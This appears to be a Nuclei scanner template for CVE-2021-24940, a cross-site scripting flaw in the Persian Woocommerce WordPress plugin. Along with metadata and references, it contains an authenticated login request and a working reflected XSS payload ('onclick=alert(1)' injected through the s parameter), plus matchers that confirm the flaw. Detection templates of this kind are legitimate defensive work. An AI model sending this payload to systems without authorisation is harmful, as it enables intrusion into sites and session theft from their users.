id: CVE-2021-24940 info: name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting author: daffainfo severity: medium description: | WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: Fixed in 5.9.8. reference: - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f - https://nvd.nist.gov/vuln/detail/CVE-2021-24940 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24940 cwe-id: CWE-79 epss-score: 0.00106 epss-percentile: 0.43227 cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: woocommerce product: persian-woocommerce framework: wordpress tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - contains(header_2, "text/html") - status_code_2 == 200 - contains(body_2, 'accesskey=X onclick=alert(1) test=') - contains(body_2, 'woocommerce_persian_translate') condition: and # digest: 4a0a00473045022100826d482d8b237a1f2fa54478c880d7f1f60bf8ffef2b1fc3a2ef61d1d125bcd3022077b886b61bb9b4e8c9f7af2e0ca8a2c49a6fb5758529c7ffaeeb52ff257fc556:922c64590222798bb761d5b6d8e72950